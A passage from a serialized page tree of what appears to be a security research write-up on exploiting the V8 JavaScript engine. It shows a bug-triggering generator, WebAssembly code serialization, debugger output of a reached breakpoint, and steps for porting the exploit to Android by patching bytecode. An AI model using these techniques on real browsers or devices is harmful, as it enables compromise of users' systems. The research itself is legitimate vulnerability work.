{"style":397},[142245],{"type":29,"value":2988},{"type":24,"tag":327,"props":142247,"children":142248},{"style":346},[142249],{"type":29,"value":2744},{"type":24,"tag":327,"props":142251,"children":142252},{"style":397},[142253],{"type":29,"value":2988},{"type":24,"tag":327,"props":142255,"children":142256},{"style":346},[142257],{"type":29,"value":2744},{"type":24,"tag":327,"props":142259,"children":142260},{"style":397},[142261],{"type":29,"value":2988},{"type":24,"tag":327,"props":142263,"children":142264},{"style":346},[142265],{"type":29,"value":2744},{"type":24,"tag":327,"props":142267,"children":142268},{"style":397},[142269],{"type":29,"value":2988},{"type":24,"tag":327,"props":142271,"children":142272},{"style":346},[142273],{"type":29,"value":2744},{"type":24,"tag":327,"props":142275,"children":142276},{"style":397},[142277],{"type":29,"value":2988},{"type":24,"tag":327,"props":142279,"children":142280},{"style":346},[142281],{"type":29,"value":2744},{"type":24,"tag":327,"props":142283,"children":142284},{"style":397},[142285],{"type":29,"value":2988},{"type":24,"tag":327,"props":142287,"children":142288},{"style":346},[142289],{"type":29,"value":2744},{"type":24,"tag":327,"props":142291,"children":142292},{"style":397},[142293],{"type":29,"value":2988},{"type":24,"tag":327,"props":142295,"children":142296},{"style":346},[142297],{"type":29,"value":2744},{"type":24,"tag":327,"props":142299,"children":142300},{"style":397},[142301],{"type":29,"value":25038},{"type":24,"tag":327,"props":142303,"children":142304},{"style":346},[142305],{"type":29,"value":2744},{"type":24,"tag":327,"props":142307,"children":142308},{"style":397},[142309],{"type":29,"value":2988},{"type":24,"tag":327,"props":142311,"children":142312},{"style":346},[142313],{"type":29,"value":2744},{"type":24,"tag":327,"props":142315,"children":142316},{"style":397},[142317],{"type":29,"value":2988},{"type":24,"tag":327,"props":142319,"children":142320},{"style":346},[142321],{"type":29,"value":2744},{"type":24,"tag":327,"props":142323,"children":142324},{"style":397},[142325],{"type":29,"value":2988},{"type":24,"tag":327,"props":142327,"children":142328},{"style":346},[142329],{"type":29,"value":2744},{"type":24,"tag":327,"props":142331,"children":142332},{"style":397},[142333],{"type":29,"value":2988},{"type":24,"tag":327,"props":142335,"children":142336},{"style":346},[142337],{"type":29,"value":2744},{"type":24,"tag":327,"props":142339,"children":142340},{"style":397},[142341],{"type":29,"value":2988},{"type":24,"tag":327,"props":142343,"children":142344},{"style":346},[142345],{"type":29,"value":2744},{"type":24,"tag":327,"props":142347,"children":142348},{"style":397},[142349],{"type":29,"value":2988},{"type":24,"tag":327,"props":142351,"children":142352},{"style":346},[142353],{"type":29,"value":2744},{"type":24,"tag":327,"props":142355,"children":142356},{"style":397},[142357],{"type":29,"value":2988},{"type":24,"tag":327,"props":142359,"children":142360},{"style":346},[142361],{"type":29,"value":2744},{"type":24,"tag":327,"props":142363,"children":142364},{"style":397},[142365],{"type":29,"value":2988},{"type":24,"tag":327,"props":142367,"children":142368},{"style":346},[142369],{"type":29,"value":2744},{"type":24,"tag":327,"props":142371,"children":142372},{"style":397},[142373],{"type":29,"value":2988},{"type":24,"tag":327,"props":142375,"children":142376},{"style":346},[142377],{"type":29,"value":2744},{"type":24,"tag":327,"props":142379,"children":142380},{"style":397},[142381],{"type":29,"value":2988},{"type":24,"tag":327,"props":142383,"children":142384},{"style":346},[142385],{"type":29,"value":2744},{"type":24,"tag":327,"props":142387,"children":142388},{"style":397},[142389],{"type":29,"value":2988},{"type":24,"tag":327,"props":142391,"children":142392},{"style":346},[142393],{"type":29,"value":2744},{"type":24,"tag":327,"props":142395,"children":142396},{"style":397},[142397],{"type":29,"value":2988},{"type":24,"tag":327,"props":142399,"children":142400},{"style":346},[142401],{"type":29,"value":2744},{"type":24,"tag":327,"props":142403,"children":142404},{"style":397},[142405],{"type":29,"value":2988},{"type":24,"tag":327,"props":142407,"children":142408},{"style":346},[142409],{"type":29,"value":2744},{"type":24,"tag":327,"props":142411,"children":142412},{"style":397},[142413],{"type":29,"value":2988},{"type":24,"tag":327,"props":142415,"children":142416},{"style":346},[142417],{"type":29,"value":2744},{"type":24,"tag":327,"props":142419,"children":142420},{"style":397},[142421],{"type":29,"value":2988},{"type":24,"tag":327,"props":142423,"children":142424},{"style":346},[142425],{"type":29,"value":2231},{"type":24,"tag":327,"props":142427,"children":142428},{"class":329,"line":586},[142429,142433,142437,142441,142445,142449,142453,142457,142461,142465,142469,142473,142477,142481,142485,142489,142493,142497,142501,142505,142509,142513,142517,142521,142525,142529,142533,142537,142541,142545,142549,142553,142557,142561,142565,142569,142573,142577,142581,142585,142589,142593,142597,142601,142605,142609,142613,142617,142621,142625,142629,142634,142638,142642],{"type":24,"tag":327,"props":142430,"children":142431},{"style":397},[142432],{"type":29,"value":140924},{"type":24,"tag":327,"props":142434,"children":142435},{"style":346},[142436],{"type":29,"value":2744},{"type":24,"tag":327,"props":142438,"children":142439},{"style":397},[142440],{"type":29,"value":2988},{"type":24,"tag":327,"props":142442,"children":142443},{"style":346},[142444],{"type":29,"value":2744},{"type":24,"tag":327,"props":142446,"children":142447},{"style":397},[142448],{"type":29,"value":2988},{"type":24,"tag":327,"props":142450,"children":142451},{"style":346},[142452],{"type":29,"value":2744},{"type":24,"tag":327,"props":142454,"children":142455},{"style":397},[142456],{"type":29,"value":2988},{"type":24,"tag":327,"props":142458,"children":142459},{"style":346},[142460],{"type":29,"value":2744},{"type":24,"tag":327,"props":142462,"children":142463},{"style":397},[142464],{"type":29,"value":2988},{"type":24,"tag":327,"props":142466,"children":142467},{"style":346},[142468],{"type":29,"value":2744},{"type":24,"tag":327,"props":142470,"children":142471},{"style":397},[142472],{"type":29,"value":2988},{"type":24,"tag":327,"props":142474,"children":142475},{"style":346},[142476],{"type":29,"value":2744},{"type":24,"tag":327,"props":142478,"children":142479},{"style":397},[142480],{"type":29,"value":2988},{"type":24,"tag":327,"props":142482,"children":142483},{"style":346},[142484],{"type":29,"value":2744},{"type":24,"tag":327,"props":142486,"children":142487},{"style":397},[142488],{"type":29,"value":2988},{"type":24,"tag":327,"props":142490,"children":142491},{"style":346},[142492],{"type":29,"value":2744},{"type":24,"tag":327,"props":142494,"children":142495},{"style":397},[142496],{"type":29,"value":2988},{"type":24,"tag":327,"props":142498,"children":142499},{"style":346},[142500],{"type":29,"value":2744},{"type":24,"tag":327,"props":142502,"children":142503},{"style":397},[142504],{"type":29,"value":2988},{"type":24,"tag":327,"props":142506,"children":142507},{"style":346},[142508],{"type":29,"value":2744},{"type":24,"tag":327,"props":142510,"children":142511},{"style":397},[142512],{"type":29,"value":2988},{"type":24,"tag":327,"props":142514,"children":142515},{"style":346},[142516],{"type":29,"value":2744},{"type":24,"tag":327,"props":142518,"children":142519},{"style":397},[142520],{"type":29,"value":2988},{"type":24,"tag":327,"props":142522,"children":142523},{"style":346},[142524],{"type":29,"value":2744},{"type":24,"tag":327,"props":142526,"children":142527},{"style":397},[142528],{"type":29,"value":2988},{"type":24,"tag":327,"props":142530,"children":142531},{"style":346},[142532],{"type":29,"value":2744},{"type":24,"tag":327,"props":142534,"children":142535},{"style":397},[142536],{"type":29,"value":2988},{"type":24,"tag":327,"props":142538,"children":142539},{"style":346},[142540],{"type":29,"value":2744},{"type":24,"tag":327,"props":142542,"children":142543},{"style":397},[142544],{"type":29,"value":2988},{"type":24,"tag":327,"props":142546,"children":142547},{"style":346},[142548],{"type":29,"value":2744},{"type":24,"tag":327,"props":142550,"children":142551},{"style":397},[142552],{"type":29,"value":2988},{"type":24,"tag":327,"props":142554,"children":142555},{"style":346},[142556],{"type":29,"value":2744},{"type":24,"tag":327,"props":142558,"children":142559},{"style":397},[142560],{"type":29,"value":2988},{"type":24,"tag":327,"props":142562,"children":142563},{"style":346},[142564],{"type":29,"value":2744},{"type":24,"tag":327,"props":142566,"children":142567},{"style":397},[142568],{"type":29,"value":2988},{"type":24,"tag":327,"props":142570,"children":142571},{"style":346},[142572],{"type":29,"value":2744},{"type":24,"tag":327,"props":142574,"children":142575},{"style":397},[142576],{"type":29,"value":2988},{"type":24,"tag":327,"props":142578,"children":142579},{"style":346},[142580],{"type":29,"value":2744},{"type":24,"tag":327,"props":142582,"children":142583},{"style":397},[142584],{"type":29,"value":2988},{"type":24,"tag":327,"props":142586,"children":142587},{"style":346},[142588],{"type":29,"value":2744},{"type":24,"tag":327,"props":142590,"children":142591},{"style":397},[142592],{"type":29,"value":2988},{"type":24,"tag":327,"props":142594,"children":142595},{"style":346},[142596],{"type":29,"value":2744},{"type":24,"tag":327,"props":142598,"children":142599},{"style":397},[142600],{"type":29,"value":2988},{"type":24,"tag":327,"props":142602,"children":142603},{"style":346},[142604],{"type":29,"value":2744},{"type":24,"tag":327,"props":142606,"children":142607},{"style":397},[142608],{"type":29,"value":2988},{"type":24,"tag":327,"props":142610,"children":142611},{"style":346},[142612],{"type":29,"value":2744},{"type":24,"tag":327,"props":142614,"children":142615},{"style":397},[142616],{"type":29,"value":36131},{"type":24,"tag":327,"props":142618,"children":142619},{"style":346},[142620],{"type":29,"value":2744},{"type":24,"tag":327,"props":142622,"children":142623},{"style":397},[142624],{"type":29,"value":142177},{"type":24,"tag":327,"props":142626,"children":142627},{"style":346},[142628],{"type":29,"value":2744},{"type":24,"tag":327,"props":142630,"children":142631},{"style":397},[142632],{"type":29,"value":142633},"198",{"type":24,"tag":327,"props":142635,"children":142636},{"style":346},[142637],{"type":29,"value":2744},{"type":24,"tag":327,"props":142639,"children":142640},{"style":397},[142641],{"type":29,"value":2988},{"type":24,"tag":327,"props":142643,"children":142644},{"style":346},[142645],{"type":29,"value":2231},{"type":24,"tag":327,"props":142647,"children":142648},{"class":329,"line":1017},[142649],{"type":24,"tag":327,"props":142650,"children":142651},{"style":346},[142652],{"type":29,"value":141211},{"type":24,"tag":327,"props":142654,"children":142655},{"class":329,"line":1026},[142656,142660,142665,142669,142674,142678,142682,142686,142690,142694,142698],{"type":24,"tag":327,"props":142657,"children":142658},{"style":334},[142659],{"type":29,"value":15417},{"type":24,"tag":327,"props":142661,"children":142662},{"style":356},[142663],{"type":29,"value":142664}," r",{"type":24,"tag":327,"props":142666,"children":142667},{"style":381},[142668],{"type":29,"value":4809},{"type":24,"tag":327,"props":142670,"children":142671},{"style":340},[142672],{"type":29,"value":142673}," bug",{"type":24,"tag":327,"props":142675,"children":142676},{"style":346},[142677],{"type":29,"value":349},{"type":24,"tag":327,"props":142679,"children":142680},{"style":356},[142681],{"type":29,"value":140542},{"type":24,"tag":327,"props":142683,"children":142684},{"style":346},[142685],{"type":29,"value":2744},{"type":24,"tag":327,"props":142687,"children":142688},{"style":356},[142689],{"type":29,"value":131869},{"type":24,"tag":327,"props":142691,"children":142692},{"style":346},[142693],{"type":29,"value":66},{"type":24,"tag":327,"props":142695,"children":142696},{"style":356},[142697],{"type":29,"value":131869},{"type":24,"tag":327,"props":142699,"children":142700},{"style":346},[142701],{"type":29,"value":583},{"type":24,"tag":327,"props":142703,"children":142704},{"class":329,"line":1048},[142705,142710,142714,142718,142722,142726,142730,142734,142739,142743],{"type":24,"tag":327,"props":142706,"children":142707},{"style":356},[142708],{"type":29,"value":142709},"  result",{"type":24,"tag":327,"props":142711,"children":142712},{"style":381},[142713],{"type":29,"value":4809},{"type":24,"tag":327,"props":142715,"children":142716},{"style":346},[142717],{"type":29,"value":5894},{"type":24,"tag":327,"props":142719,"children":142720},{"style":425},[142721],{"type":29,"value":39627},{"type":24,"tag":327,"props":142723,"children":142724},{"style":356},[142725],{"type":29,"value":142664},{"type":24,"tag":327,"props":142727,"children":142728},{"style":346},[142729],{"type":29,"value":66},{"type":24,"tag":327,"props":142731,"children":142732},{"style":340},[142733],{"type":29,"value":64287},{"type":24,"tag":327,"props":142735,"children":142736},{"style":346},[142737],{"type":29,"value":142738},"()).",{"type":24,"tag":327,"props":142740,"children":142741},{"style":356},[142742],{"type":29,"value":45865},{"type":24,"tag":327,"props":142744,"children":142745},{"style":346},[142746],{"type":29,"value":405},{"type":24,"tag":327,"props":142748,"children":142749},{"class":329,"line":1067},[142750,142754,142759,142763,142767,142771,142775,142779,142783,142787],{"type":24,"tag":327,"props":142751,"children":142752},{"style":334},[142753],{"type":29,"value":42901},{"type":24,"tag":327,"props":142755,"children":142756},{"style":356},[142757],{"type":29,"value":142758}," wasm_instance",{"type":24,"tag":327,"props":142760,"children":142761},{"style":381},[142762],{"type":29,"value":4809},{"type":24,"tag":327,"props":142764,"children":142765},{"style":334},[142766],{"type":29,"value":38643},{"type":24,"tag":327,"props":142768,"children":142769},{"style":356},[142770],{"type":29,"value":140525},{"type":24,"tag":327,"props":142772,"children":142773},{"style":346},[142774],{"type":29,"value":66},{"type":24,"tag":327,"props":142776,"children":142777},{"style":340},[142778],{"type":29,"value":140579},{"type":24,"tag":327,"props":142780,"children":142781},{"style":346},[142782],{"type":29,"value":349},{"type":24,"tag":327,"props":142784,"children":142785},{"style":356},[142786],{"type":29,"value":16637},{"type":24,"tag":327,"props":142788,"children":142789},{"style":346},[142790],{"type":29,"value":583},{"type":24,"tag":327,"props":142792,"children":142793},{"class":329,"line":1075},[142794,142798,142802,142806,142810,142814,142818,142822,142826],{"type":24,"tag":327,"props":142795,"children":142796},{"style":334},[142797],{"type":29,"value":42901},{"type":24,"tag":327,"props":142799,"children":142800},{"style":356},[142801],{"type":29,"value":39682},{"type":24,"tag":327,"props":142803,"children":142804},{"style":381},[142805],{"type":29,"value":4809},{"type":24,"tag":327,"props":142807,"children":142808},{"style":356},[142809],{"type":29,"value":142758},{"type":24,"tag":327,"props":142811,"children":142812},{"style":346},[142813],{"type":29,"value":66},{"type":24,"tag":327,"props":142815,"children":142816},{"style":356},[142817],{"type":29,"value":44599},{"type":24,"tag":327,"props":142819,"children":142820},{"style":346},[142821],{"type":29,"value":66},{"type":24,"tag":327,"props":142823,"children":142824},{"style":356},[142825],{"type":29,"value":140628},{"type":24,"tag":327,"props":142827,"children":142828},{"style":346},[142829],{"type":29,"value":405},{"type":24,"tag":327,"props":142831,"children":142832},{"class":329,"line":1084},[142833,142838],{"type":24,"tag":327,"props":142834,"children":142835},{"style":340},[142836],{"type":29,"value":142837},"  f",{"type":24,"tag":327,"props":142839,"children":142840},{"style":346},[142841],{"type":29,"value":4838},{"type":24,"tag":327,"props":142843,"children":142844},{"class":329,"line":1100},[142845],{"type":24,"tag":327,"props":142846,"children":142847},{"style":346},[142848],{"type":29,"value":108712},{"type":24,"tag":25,"props":142850,"children":142851},{},[142852],{"type":29,"value":142853},"Running this in a debugger shows the expected breakpoint:",{"type":24,"tag":317,"props":142855,"children":142857},{"code":142856},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[142858],{"type":24,"tag":284,"props":142859,"children":142860},{"__ignoreMap":7},[142861],{"type":29,"value":142856},{"type":24,"tag":235,"props":142863,"children":142865},{"id":142864},"porting-to-android",[142866],{"type":29,"value":142867},"Porting to Android",{"type":24,"tag":25,"props":142869,"children":142870},{},[142871,142873,142878,142880,142885,142887,142892,142894,142900],{"type":29,"value":142872},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":24,"tag":284,"props":142874,"children":142876},{"className":142875},[],[142877],{"type":29,"value":139657},{"type":29,"value":142879}," fails. We cross-compiled ",{"type":24,"tag":284,"props":142881,"children":142883},{"className":142882},[],[142884],{"type":29,"value":138816},{"type":29,"value":142886}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":24,"tag":284,"props":142888,"children":142890},{"className":142889},[],[142891],{"type":29,"value":139657},{"type":29,"value":142893}," returned ",{"type":24,"tag":284,"props":142895,"children":142897},{"className":142896},[],[142898],{"type":29,"value":142899},"undefined",{"type":29,"value":66},{"type":24,"tag":25,"props":142902,"children":142903},{},[142904,142906,142911,142913,142918],{"type":29,"value":142905},"Instead, we modified the bytecode to call ",{"type":24,"tag":284,"props":142907,"children":142909},{"className":142908},[],[142910],{"type":29,"value":139683},{"type":29,"value":142912}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":24,"tag":284,"props":142914,"children":142916},{"className":142915},[],[142917],{"type":29,"value":139657},{"type":29,"value":66},{"type":24,"tag":317,"props":142920,"children":142922},{"code":142921,"language":42328,"meta":7,"className":42326,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[142923],{"type":24,"tag":284,"props":142924,"children":142925},{"__ignoreMap":7},[142926,142937,142981,143001,143017,143040,143067,143082],{"type":24,"tag":327,"props":142927,"children":142928},{"class":329,"line":330},[142929,142933],{"type":24,"tag":327,"props":142930,"children":142931},{"style":425},[142932],{"type":29,"value":55051},{"type":24,"tag":327,"props":142934,"children":142935},{"style":346},[142936],{"type":29,"value":497},{"type":24,"tag":327,"props":142938,"children":142939},{"class":329,"line":367},[142940,142944,142948,142952,142956,142960,142964,142969,142973,142977],{"type":24,"tag":327,"props":142941,"children":142942},{"style":356},[142943],{"type":29,"value":139924},{"type":24,"tag":327,"props":142945,"children":142946},{"style":346},[142947],{"type":29,"value":83345},{"type":24,"tag":327,"props":142949,"children":142950},{"style":844},[142951],{"type":29,"value":139933},{"type":24,"tag":327,"props":142953,"children":142954},{"style":346},[142955],{"type":29,"value":66},{"type":24,"tag":327,"props":142957,"children":142958},{"style":340},[142959],{"type":29,"value":139942},{"type":24,"tag":327,"props":142961,"children":142962},{"style":346},[142963],{"type":29,"value":349},{"type":24,"tag":327,"props":142965,"children":142966},{"style":397},[142967],{"type":29,"value":142968},"0x059301",{"type":24,"tag":327,"props":142970,"children":142971},{"style":381},[142972],{"type":29,"value":57976},{"type":24,"tag":327,"props":142974,"children":142975},{"style":397},[142976],{"type":29,"value":522},{"type":24,"tag":327,"props":142978,"children":142979},{"style":346},[142980],{"type":29,"value":139964},{"type":24,"tag":327,"props":142982,"children":142983},{"class":329,"line":408},[142984,142988,142992,142997],{"type":24,"tag":327,"props":142985,"children":142986},{"style":356},[142987],{"type":29,"value":139972},{"type":24,"tag":327,"props":142989,"children":142990},{"style":381},[142991],{"type":29,"value":4407},{"type":24,"tag":327,"props":142993,"children":142994},{"style":397},[142995],{"type":29,"value":142996}," 0x03027a6c",{"type":24,"tag":327,"props":142998,"children":142999},{"style":346},[143000],{"type":29,"value":405},{"type":24,"tag":327,"props":143002,"children":143003},{"class":329,"line":421},[143004,143008,143013],{"type":24,"tag":327,"props":143005,"children":143006},{"style":425},[143007],{"type":29,"value":41914},{"type":24,"tag":327,"props":143009,"children":143010},{"style":397},[143011],{"type":29,"value":143012}," 0x393e71a",{"type":24,"tag":327,"props":143014,"children":143015},{"style":346},[143016],{"type":29,"value":405},{"type":24,"tag":327,"props":143018,"children":143019},{"class":329,"line":450},[143020,143024,143028,143032,143036],{"type":24,"tag":327,"props":143021,"children":143022},{"style":346},[143023],{"type":29,"value":53593},{"type":24,"tag":327,"props":143025,"children":143026},{"style":425},[143027],{"type":29,"value":55131},{"type":24,"tag":327,"props":143029,"children":143030},{"style":346},[143031],{"type":29,"value":5894},{"type":24,"tag":327,"props":143033,"children":143034},{"style":356},[143035],{"type":29,"value":58175},{"type":24,"tag":327,"props":143037,"children":143038},{"style":346},[143039],{"type":29,"value":364},{"type":24,"tag":327,"props":143041,"children":143042},{"class":329,"line":481},[143043,143047,143051,143055,143059,143063],{"type":24,"tag":327,"props":143044,"children":143045},{"style":356},[143046],{"type":29,"value":108671},{"type":24,"tag":327,"props":143048,"children":143049},{"style":346},[143050],{"type":29,"value":66},{"type":24,"tag":327,"props":143052,"children":143053},{"style":340},[143054],{"type":29,"value":108680},{"type":24,"tag":327,"props":143056,"children":143057},{"style":346},[143058],{"type":29,"value":349},{"type":24,"tag":327,"props":143060,"children":143061},{"style":844},[143062],{"type":29,"value":140048},{"type":24,"tag":327,"props":143064,"children":143065},{"style":346},[143066],{"type":29,"value":583},{"type":24,"tag":327,"props":143068,"children":143069},{"class":329,"line":500},[143070,143074,143078],{"type":24,"tag":327,"props":143071,"children":143072},{"style":425},[143073],{"type":29,"value":140060},{"type":24,"tag":327,"props":143075,"children":143076},{"style":356},[143077],{"type":29,"value":140065},{"type":24,"tag":327,"props":143079,"children":143080},{"style":346},[143081],{"type":29,"value":405},{"type":24,"tag":327,"props":143083,"children":143084},{"class":329,"line":529},[143085],{"type":24,"tag":327,"props":143086,"children":143087},{"style":346},[143088],{"type":29,"value":592},{"type":24,"tag":25,"props":143090,"children":143091},{},[143092,143094,143100,143102,143108,143110,143116,143118,143123,143125,143131,143133,143138,143139,143145],{"type":29,"value":143093},"Here, ",{"type":24,"tag":284,"props":143095,"children":143097},{"className":143096},[],[143098],{"type":29,"value":143099},"a1 + 0x03027a6c",{"type":29,"value":143101}," generates the bytes ",{"type":24,"tag":284,"props":143103,"children":143105},{"className":143104},[],[143106],{"type":29,"value":143107},"01 4b 6c 7a 02 03",{"type":29,"value":143109},", where ",{"type":24,"tag":284,"props":143111,"children":143113},{"className":143112},[],[143114],{"type":29,"value":143115},"0x6c",{"type":29,"value":143117}," is the ",{"type":24,"tag":284,"props":143119,"children":143121},{"className":143120},[],[143122],{"type":29,"value":139641},{"type":29,"value":143124}," opcode, ",{"type":24,"tag":284,"props":143126,"children":143128},{"className":143127},[],[143129],{"type":29,"value":143130},"0x027a",{"type":29,"value":143132}," is the function ID of ",{"type":24,"tag":284,"props":143134,"children":143136},{"className":143135},[],[143137],{"type":29,"value":139683},{"type":29,"value":14054},{"type":24,"tag":284,"props":143140,"children":143142},{"className":143141},[],[143143],{"type":29,"value":143144},"0x03",{"type":29,"value":143146}," is the register index holding its first argument.",{"type":24,"tag":25,"props":143148,"children":143149},{},[143150,143152,143157,143158,143163,143165,143170],{"type":29,"value":143151},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":24,"tag":284,"props":143153,"children":143155},{"className":143154},[],[143156],{"type":29,"value":139683},{"type":29,"value":1323},{"type":24,"tag":284,"props":143159,"children":143161},{"className":143160},[],[143162],{"type":29,"value":140651},{"type":29,"value":143164},". To avoid patching the bytecode again to invoke ",{"type":24,"tag":284,"props":143166,"children":143168},{"className":143167},[],[143169],{"type":29,"value":140651},{"type":29,"value":143171},", we can force Turbofan to compile the target function like this:",{"type":24,"tag":317,"props":143173,"children":143175},{"code":143174,"language":42328,"meta":7,"className":42326,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[143176],{"type":24,"tag":284,"props":143177,"children":143178},{"__ignoreMap":7},[143179,143187,143247,143259],{"type":24,"tag":327,"props":143180,"children":143181},{"class":329,"line":330},[143182],{"type":24,"tag":327,"props":143183,"children":143184},{"style":551},[143185],{"type":29,"value":143186},"// %WasmTierUpFunction(func);\n",{"type":24,"tag":327,"props":143188,"children":143189},{"class":329,"line":367},[143190,143194,143198,143202,143206,143210,143214,143218,143222,143226,143231,143235,143239,143243],{"type":24,"tag":327,"props":143191,"children":143192},{"style":425},[143193],{"type":29,"value":10994},{"type":24,"tag":327,"props":143195,"children":143196},{"style":346},[143197],{"type":29,"value":5894},{"type":24,"tag":327,"props":143199,"children":143200},{"style":334},[143201],{"type":29,"value":19334},{"type":24,"tag":327,"props":143203,"children":143204},{"style":356},[143205],{"type":29,"value":10999},{"type":24,"tag":327,"props":143207,"children":143208},{"style":381},[143209],{"type":29,"value":4809},{"type":24,"tag":327,"props":143211,"children":143212},{"style":397},[143213],{"type":29,"value":6695},{"type":24,"tag":327,"props":143215,"children":143216},{"style":346},[143217],{"type":29,"value":9866},{"type":24,"tag":327,"props":143219,"children":143220},{"style":356},[143221],{"type":29,"value":11334},{"type":24,"tag":327,"props":143223,"children":143224},{"style":381},[143225],{"type":29,"value":4927},{"type":24,"tag":327,"props":143227,"children":143228},{"style":397},[143229],{"type":29,"value":143230}," 0x100000",{"type":24,"tag":327,"props":143232,"children":143233},{"style":346},[143234],{"type":29,"value":9866},{"type":24,"tag":327,"props":143236,"children":143237},{"style":356},[143238],{"type":29,"value":11334},{"type":24,"tag":327,"props":143240,"children":143241},{"style":381},[143242],{"type":29,"value":57990},{"type":24,"tag":327,"props":143244,"children":143245},{"style":346},[143246],{"type":29,"value":364},{"type":24,"tag":327,"props":143248,"children":143249},{"class":329,"line":408},[143250,143255],{"type":24,"tag":327,"props":143251,"children":143252},{"style":340},[143253],{"type":29,"value":143254},"  func",{"type":24,"tag":327,"props":143256,"children":143257},{"style":346},[143258],{"type":29,"value":4838},{"type":24,"tag":327,"props":143260,"children":143261},{"class":329,"line":421},[143262],{"type":24,"tag":327,"props":143263,"children":143264},{"style":346},[143265],{"type":29,"value":592},{"type":24,"tag":25,"props":143267,"children":143268},{},[143269],{"type":29,"value":143270},"Finally, running this code on the device:",{"type":24,"tag":317,"props":143272,"children":143274},{"code":143273,"language":42328,"meta":7,"className":42326,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[143275],{"type":24,"tag":284,"props":143276,"children":143277},{"__ignoreMap":7},[143278,143301,143329,143548,143615,143622,143665,143708,143747,143754,143762,143822,143834,143841,143848,143879,143922,143949,143956,143992,144055],{"type":24,"tag":327,"props":143279,"children":143280},{"class":329,"line":330},[143281,143285,143289,143293,143297],{"type":24,"tag":327,"props":143282,"children":143283},{"style":346},[143284],{"type":29,"value":349},{"type":24,"tag":327,"props":143286,"children":143287},{"style":334},[143288],{"type":29,"value":42858},{"type":24,"tag":327,"props":143290,"children":143291},{"style":346},[143292],{"type":29,"value":46410},{"type":24,"tag":327,"props":143294,"children":143295},{"style":334},[143296],{"type":29,"value":9195},{"type":24,"tag":327,"props":143298,"children":143299},{"style":346},[143300],{"type":29,"value":497},{"type":24,"tag":327,"props":143302,"children":143303},{"class":329,"line":367},[143304,143309,143313,143317,143321,143325],{"type":24,"tag":327,"props":143305,"children":143306},{"style":334},[143307],{"type":29,"value":143308},"  var",{"type":24,"tag":327,"props":143310,"children":143311},{"style":356},[143312],{"type":29,"value":140181},{"type":24,"tag":327,"props":143314,"children":143315},{"style":381},[143316],{"type":29,"value":4809},{"type":24,"tag":327,"props":143318,"children":143319},{"style":334},[143320],{"type":29,"value":38643},{"type":24,"tag":327,"props":143322,"children":143323},{"style":340},[143324],{"type":29,"value":140194},{"type":24,"tag":327,"props":143326,"children":143327},{"style":346},[143328],{"type":29,"value":140199},{"type":24,"tag":327,"props":143330,"children":143331},{"class":329,"line":408},[143332,143336,143340,143344,143348,143352,143356,143360,143364,143368,143372,143376,143380,143384,143388,143392,143396,143400,143404,143408,143412,143416,143420,143424,143428,143432,143436,143440,143444,143448,143452,143456,143460,143464,143468,143472,143476,143480,143484,143488,143492,143496,143500,143504,143508,143512,143516,143520,143524,143528,143532,143536,143540,143544],{"type":24,"tag":327,"props":143333,"children":143334},{"style":397},[143335],{"type":29,"value":140924},{"type":24,"tag":327,"props":143337,"children":143338},{"style":346},[143339],{"type":29,"value":2744},{"type":24,"tag":327,"props":143341,"children":143342},{"style":397},[143343],{"type":29,"value":140216},{"type":24,"tag":327,"props":143345,"children":143346},{"style":346},[143347],{"type":29,"value":2744},{"type":24,"tag":327,"props":143349,"children":143350},{"style":397},[143351],{"type":29,"value":140225},{"type":24,"tag":327,"props":143353,"children":143354},{"style":346},[143355],{"type":29,"value":2744},{"type":24,"tag":327,"props":143357,"children":143358},{"style":397},[143359],{"type":29,"value":140234},{"type":24,"tag":327,"props":143361,"children":143362},{"style":346},[143363],{"type":29,"value":2744},{"type":24,"tag":327,"props":143365,"children":143366},{"style":397},[143367],{"type":29,"value":3238},{"type":24,"tag":327,"props":143369,"children":143370},{"style":346},[143371],{"type":29,"value":2744},{"type":24,"tag":327,"props":143373,"children":143374},{"style":397},[143375],{"type":29,"value":2988},{"type":24,"tag":327,"props":143377,"children":143378},{"style":346},[143379],{"type":29,"value":2744},{"type":24,"tag":327,"props":143381,"children":143382},{"style":397},[143383],{"type":29,"value":2988},{"type":24,"tag":327,"props":143385,"children":143386},{"style":346},[143387],{"type":29,"value":2744},{"type":24,"tag":327,"props":143389,"children":143390},{"style":397},[143391],{"type":29,"value":2988},{"type":24,"tag":327,"props":143393,"children":143394},{"style":346},[143395],{"type":29,"value":2744},{"type":24,"tag":327,"props":143397,"children":143398},{"style":397},[143399],{"type":29,"value":3238},{"type":24,"tag":327,"props":143401,"children":143402},{"style":346},[143403],{"type":29,"value":2744},{"type":24,"tag":327,"props":143405,"children":143406},{"style":397},[143407],{"type":29,"value":25038},{"type":24,"tag":327,"props":143409,"children":143410},{"style":346},[143411],{"type":29,"value":2744},{"type":24,"tag":327,"props":143413,"children":143414},{"style":397},[143415],{"type":29,"value":3238},{"type":24,"tag":327,"props":143417,"children":143418},{"style":346},[143419],{"type":29,"value":2744},{"type":24,"tag":327,"props":143421,"children":143422},{"style":397},[143423],{"type":29,"value":140299},{"type":24,"tag":327,"props":1434